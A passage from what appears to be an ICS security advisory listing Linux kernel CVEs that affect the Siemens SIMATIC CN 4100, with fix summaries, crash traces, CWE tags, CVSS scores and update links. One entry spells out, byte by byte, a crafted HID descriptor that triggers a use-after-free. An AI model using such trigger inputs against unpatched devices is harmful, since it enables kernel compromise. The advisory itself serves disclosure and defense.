String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39798\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: NFS: Fix the setting of capabilities when automounting a new filesystem Capabilities cannot be inherited when we cross into a new filesystem. They need to be reset to the minimal defaults, and then probed for again.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-273 Improper Check for Dropped Privileges\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39800\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: abort transaction on unexpected eb generation at btrfs_copy_root() If we find an unexpected generation for the extent buffer we are cloning at btrfs_copy_root(), we just WARN_ON() and don't error out and abort the transaction, meaning we allow to persist metadata with an unexpected generation. Instead of warning only, abort the transaction and return -EUCLEAN.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39801\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: usb: dwc3: Remove WARN_ON for device endpoint command timeouts This commit addresses a rarely observed endpoint command timeout which causes kernel panic due to warn when 'panic_on_warn' is enabled and unnecessary call trace prints when 'panic_on_warn' is disabled. It is seen during fast software-controlled connect/disconnect testcases. The following is one such endpoint command timeout that we observed: 1. Connect ======= ->dwc3_thread_interrupt ->dwc3_ep0_interrupt ->configfs_composite_setup ->composite_setup ->usb_ep_queue ->dwc3_gadget_ep0_queue ->__dwc3_gadget_ep0_queue ->__dwc3_ep0_do_control_data ->dwc3_send_gadget_ep_cmd 2. Disconnect ========== ->dwc3_thread_interrupt ->dwc3_gadget_disconnect_interrupt ->dwc3_ep0_reset_state ->dwc3_ep0_end_control_data ->dwc3_send_gadget_ep_cmd In the issue scenario, in Exynos platforms, we observed that control transfers for the previous connect have not yet been completed and end transfer command sent as a part of the disconnect sequence and processing of USB_ENDPOINT_HALT feature request from the host timeout. This maybe an expected scenario since the controller is processing EP commands sent as a part of the previous connect. It maybe better to remove WARN_ON in all places where device endpoint commands are sent to avoid unnecessary kernel panic due to warn.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39806\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: multitouch: fix slab out-of-bounds access in mt_report_fixup() A malicious HID device can trigger a slab out-of-bounds during mt_report_fixup() by passing in report descriptor smaller than 607 bytes. mt_report_fixup() attempts to patch byte offset 607 of the descriptor with 0x25 by first checking if byte offset 607 is 0x15 however it lacks bounds checks to verify if the descriptor is big enough before conducting this check. Fix this bug by ensuring the descriptor size is at least 608 bytes before accessing it. Below is the KASAN splat after the out of bounds access happens: [ 13.671954] ================================================================== [ 13.672667] BUG: KASAN: slab-out-of-bounds in mt_report_fixup+0x103/0x110 [ 13.673297] Read of size 1 at addr ffff888103df39df by task kworker/0:1/10 [ 13.673297] [ 13.673297] CPU: 0 UID: 0 PID: 10 Comm: kworker/0:1 Not tainted 6.15.0-00005-gec5d573d83f4-dirty #3 [ 13.673297] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/04 [ 13.673297] Call Trace: [ 13.673297] [ 13.673297] dump_stack_lvl+0x5f/0x80 [ 13.673297] print_report+0xd1/0x660 [ 13.673297] kasan_report+0xe5/0x120 [ 13.673297] __asan_report_load1_noabort+0x18/0x20 [ 13.673297] mt_report_fixup+0x103/0x110 [ 13.673297] hid_open_report+0x1ef/0x810 [ 13.673297] mt_probe+0x422/0x960 [ 13.673297] hid_device_probe+0x2e2/0x6f0 [ 13.673297] really_probe+0x1c6/0x6b0 [ 13.673297] __driver_probe_device+0x24f/0x310 [ 13.673297] driver_probe_device+0x4e/0x220 [ 13.673297] __device_attach_driver+0x169/0x320 [ 13.673297] bus_for_each_drv+0x11d/0x1b0 [ 13.673297] __device_attach+0x1b8/0x3e0 [ 13.673297] device_initial_probe+0x12/0x20 [ 13.673297] bus_probe_device+0x13d/0x180 [ 13.673297] device_add+0xe3a/0x1670 [ 13.673297] hid_add_device+0x31d/0xa40 [...]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39808\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: hid-ntrig: fix unable to handle page fault in ntrig_report_version() in ntrig_report_version(), hdev parameter passed from hid_probe(). sending descriptor to /dev/uhid can make hdev->dev.parent->parent to null if hdev->dev.parent->parent is null, usb_dev has invalid address(0xffffffffffffff58) that hid_to_usb_dev(hdev) returned when usb_rcvctrlpipe() use usb_dev,it trigger page fault error for address(0xffffffffffffff58) add null check logic to ntrig_report_version() before calling hid_to_usb_dev()\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39812\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: sctp: initialize more fields in sctp_v6_from_sk() syzbot found that sin6_scope_id was not properly initialized, leading to undefined behavior. Clear sin6_scope_id and sin6_flowinfo. BUG: KMSAN: uninit-value in __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 sctp_inet6_cmp_addr+0x4f2/0x510 net/sctp/ipv6.c:983 sctp_bind_addr_conflict+0x22a/0x3b0 net/sctp/bind_addr.c:390 sctp_get_port_local+0x21eb/0x2440 net/sctp/socket.c:8452 sctp_get_port net/sctp/socket.c:8523 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x710/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930 x64_sys_call+0x271d/0x3e20 arch/x86/include/generated/asm/syscalls_64.h:51 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xd9/0x210 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Local variable addr.i.i created at: sctp_get_port net/sctp/socket.c:8515 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x650/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39813\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ftrace: Fix potential warning in trace_printk_seq during ftrace_dump When calling ftrace_dump_one() concurrently with reading trace_pipe, a WARN_ON_ONCE() in trace_printk_seq() can be triggered due to a race condition. The issue occurs because: CPU0 (ftrace_dump) CPU1 (reader) echo z > /proc/sysrq-trigger !trace_empty(&iter) trace_iterator_reset(&iter) <- len = size = 0 cat /sys/kernel/tracing/trace_pipe trace_find_next_entry_inc(&iter) __find_next_entry ring_buffer_empty_cpu <- all empty return NULL trace_printk_seq(&iter.seq) WARN_ON_ONCE(s->seq.len >= s->seq.size) In the context between trace_empty() and trace_find_next_entry_inc() during ftrace_dump, the ring buffer data was consumed by other readers. This caused trace_find_next_entry_inc to return NULL, failing to populate `iter.seq`. At this point, due to the prior trace_iterator_reset, both `iter.seq.len` and `iter.seq.size` were set to 0. Since they are equal, the WARN_ON_ONCE condition is triggered. Move the trace_printk_seq() into the if block that checks to make sure the return value of trace_find_next_entry_inc() is non-NULL in ftrace_dump_one(), ensuring the 'iter.seq' is properly populated before subsequent operations.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39817\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: efivarfs: Fix slab-out-of-bounds in efivarfs_d_compare Observed on kernel 6.6 (present on master as well): BUG: KASAN: slab-out-of-bounds in memcmp+0x98/0xd0 Call trace: kasan_check_range+0xe8/0x190 __asan_loadN+0x1c/0x28 memcmp+0x98/0xd0 efivarfs_d_compare+0x68/0xd8 __d_lookup_rcu_op_compare+0x178/0x218 __d_lookup_rcu+0x1f8/0x228 d_alloc_parallel+0x150/0x648 lookup_open.isra.0+0x5f0/0x8d0 open_last_lookups+0x264/0x828 path_openat+0x130/0x3f8 do_filp_open+0x114/0x248 do_sys_openat2+0x340/0x3c0 __arm64_sys_openat+0x120/0x1a0 If dentry->d_name.len < EFI_VARIABLE_GUID_LEN , 'guid' can become negative, leadings to oob. The issue can be triggered by parallel lookups using invalid filename: T1 T2 lookup_open ->lookup simple_lookup d_add // invalid dentry is added to hash list lookup_open d_alloc_parallel __d_lookup_rcu __d_lookup_rcu_op_compare hlist_bl_for_each_entry_rcu // invalid dentry can be retrieved ->d_compare efivarfs_d_compare // oob Fix it by checking 'guid' before cmp.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39819\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/smb: Fix inconsistent refcnt update A possible inconsistent update of refcount was identified in `smb2_compound_op`. Such inconsistent update could lead to possible resource leaks. Why it is a possible bug: 1. In the comment section of the function, it clearly states that the reference to `cfile` should be dropped after calling this function. 2. Every control flow path would check and drop the reference to `cfile`, except the patched one. 3. Existing callers would not handle refcount update of `cfile` if -ENOMEM is returned. To fix the bug, an extra goto label \"out\" is added, to make sure that the cleanup logic would always be respected. As the problem is caused by the allocation failure of `vars`, the cleanup logic between label \"finished\" and \"out\" can be safely ignored. According to the definition of function `is_replayable_error`, the error code of \"-ENOMEM\" is not recoverable. Therefore, the replay logic also gets ignored.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39823\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: KVM: x86: use array_index_nospec with indices that come from guest min and dest_id are guest-controlled indices. Using array_index_nospec() after the bounds checks clamps these values to mitigate speculative execution side-channels.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39824\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: asus: fix UAF via HID_CLAIMED_INPUT validation After hid_hw_start() is called hidinput_connect() will eventually be called to set up the device with the input layer since the HID_CONNECT_DEFAULT connect mask is used. During hidinput_connect() all input and output reports are processed and corresponding hid_inputs are allocated and configured via hidinput_configure_usages(). This process involves slot tagging report fields and configuring usages by setting relevant bits in the capability bitmaps. However it is possible that the capability bitmaps are not set at all leading to the subsequent hidinput_has_been_populated() check to fail leading to the freeing of the hid_input and the underlying input device. This becomes problematic because a malicious HID device like a ASUS ROG N-Key keyboard can trigger the above scenario via a specially crafted descriptor which then leads to a user-after-free when the name of the freed input device is written to later on after hid_hw_start(). Below, report 93 intentionally utilises the HID_UP_UNDEFINED Usage Page which is skipped during usage configuration, leading to the frees. 0x05, 0x0D, // Usage Page (Digitizer) 0x09, 0x05, // Usage (Touch Pad) 0xA1, 0x01, // Collection (Application) 0x85, 0x0D, // Report ID (13) 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00) 0x09, 0xC5, // Usage (0xC5) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x04, // Report Count (4) 0xB1, 0x02, // Feature (Data,Var,Abs) 0x85, 0x5D, // Report ID (93) 0x06, 0x00, 0x00, // Usage Page (Undefined) 0x09, 0x01, // Usage (0x01) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x1B, // Report Count (27) 0x81, 0x02, // Input (Data,Var,Abs) 0xC0, // End Collection Below is the KASAN splat after triggering the UAF: [ 21.672709] ================================================================== [ 21.673700] BUG: KASAN: slab-use-after-free in asus_probe+0xeeb/0xf80 [ 21.673700] Write of size 8 at addr ffff88810a0ac000 by task kworker/1:2/54 [ 21.673700] [ 21.673700] CPU: 1 UID: 0 PID: 54 Comm: kworker/1:2 Not tainted 6.16.0-rc4-g9773391cf4dd-dirty #36 PREEMPT(voluntary) [ 21.673700] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 [ 21.673700] Call Trace: [ 21.673700] [ 21.673700] dump_stack_lvl+0x5f/0x80 [ 21.673700] print_report+0xd1/0x660 [ 21.673700] kasan_report+0xe5/0x120 [ 21.673700] __asan_report_store8_noabort+0x1b/0x30 [ 21.673700] asus_probe+0xeeb/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Allocated by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_alloc_info+0x3b/0x50 [ 21.673700] __kasan_kmalloc+0x9c/0xa0 [ 21.673700] __kmalloc_cache_noprof+0x139/0x340 [ 21.673700] input_allocate_device+0x44/0x370 [ 21.673700] hidinput_connect+0xcb6/0x2630 [ 21.673700] hid_connect+0xf74/0x1d60 [ 21.673700] hid_hw_start+0x8c/0x110 [ 21.673700] asus_probe+0x5a3/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Freed by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_free_info+0x3f/0x60 [ 21.673700] __kasan_slab_free+0x3c/0x50 [ 21.673700] kfre ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39825\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb: client: fix race with concurrent opens in rename(2) Besides sending the rename request to the server, the rename process also involves closing any deferred close, waiting for outstanding I/O to complete as well as marking all existing open handles as deleted to prevent them from deferring closes, which increases the race window for potential concurrent opens on the target file. Fix this by unhashing the dentry in advance to prevent any concurrent opens on the target.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39826\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: rose: convert 'use' field to refcount_t The 'use' field in struct rose_neigh is used as a reference counter but lacks atomicity. This can lead to race conditions where a rose_neigh structure is freed while still being referenced by other code paths. For example, when rose_neigh->use becomes zero during an ioctl operation via rose_rt_ioctl(), the structure may be removed while its timer is still active, potentially causing use-after-free issues. This patch changes the type of 'use' from unsigned short to refcount_t and updates all code paths to use rose_neigh_hold() and rose_neigh_put() which operate reference counts atomically.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39827\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: rose: include node references in rose_neigh refcount Current implementation maintains two separate reference counting mechanisms: the 'count' field in struct rose_neigh tracks references from rose_node structures, while the 'use' field (now refcount_t) tracks references from rose_sock. This patch merges these two reference counting systems using 'use' field for proper reference management. Specifically, this patch adds incrementing and decrementing of rose_neigh->use when rose_neigh->count is incremented or decremented. This patch also modifies rose_rt_free(), rose_rt_device_down() and rose_clear_route() to properly release references to rose_neigh objects before freeing a rose_node through rose_remove_node(). These changes ensure rose_neigh structures are properly freed only when all references, including those from rose_node structures, are released. As a result, this resolves a slab-use-after-free issue reported by Syzbot.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39828\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: atm: atmtcp: Prevent arbitrary write in atmtcp_recv_control(). syzbot reported the splat below. [0] When atmtcp_v_open() or atmtcp_v_close() is called via connect() or close(), atmtcp_send_control() is called to send an in-kernel special message. The message has ATMTCP_HDR_MAGIC in atmtcp_control.hdr.length. Also, a pointer of struct atm_vcc is set to atmtcp_control.vcc. The notable thing is struct atmtcp_control is uAPI but has a space for an in-kernel pointer. struct atmtcp_control { struct atmtcp_hdr hdr; /* must be first */ ... atm_kptr_t vcc; /* both directions */ ... } __ATM_API_ALIGN; typedef struct { unsigned char _[8]; } __ATM_API_ALIGN atm_kptr_t; The special message is processed in atmtcp_recv_control() called from atmtcp_c_send(). atmtcp_c_send() is vcc->dev->ops->send() and called from 2 paths: 1. .ndo_start_xmit() (vcc->send() == atm_send_aal0()) 2. vcc_sendmsg() The problem is sendmsg() does not validate the message length and userspace can abuse atmtcp_recv_control() to overwrite any kptr by atmtcp_control. Let's add a new ->pre_send() hook to validate messages from sendmsg(). [0]: Oops: general protection fault, probably for non-canonical address 0xdffffc00200000ab: 0000 [#1] SMP KASAN PTI KASAN: probably user-memory-access in range [0x0000000100000558-0x000000010000055f] CPU: 0 UID: 0 PID: 5865 Comm: syz-executor331 Not tainted 6.17.0-rc1-syzkaller-00215-gbab3ce404553 #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/12/2025 RIP: 0010:atmtcp_recv_control drivers/atm/atmtcp.c:93 [inline] RIP: 0010:atmtcp_c_send+0x1da/0x950 drivers/atm/atmtcp.c:297 Code: 4d 8d 75 1a 4c 89 f0 48 c1 e8 03 42 0f b6 04 20 84 c0 0f 85 15 06 00 00 41 0f b7 1e 4d 8d b7 60 05 00 00 4c 89 f0 48 c1 e8 03 <42> 0f b6 04 20 84 c0 0f 85 13 06 00 00 66 41 89 1e 4d 8d 75 1c 4c RSP: 0018:ffffc90003f5f810 EFLAGS: 00010203 RAX: 00000000200000ab RBX: 0000000000000000 RCX: 0000000000000000 RDX: ffff88802a510000 RSI: 00000000ffffffff RDI: ffff888030a6068c RBP: ffff88802699fb40 R08: ffff888030a606eb R09: 1ffff1100614c0dd R10: dffffc0000000000 R11: ffffffff8718fc40 R12: dffffc0000000000 R13: ffff888030a60680 R14: 000000010000055f R15: 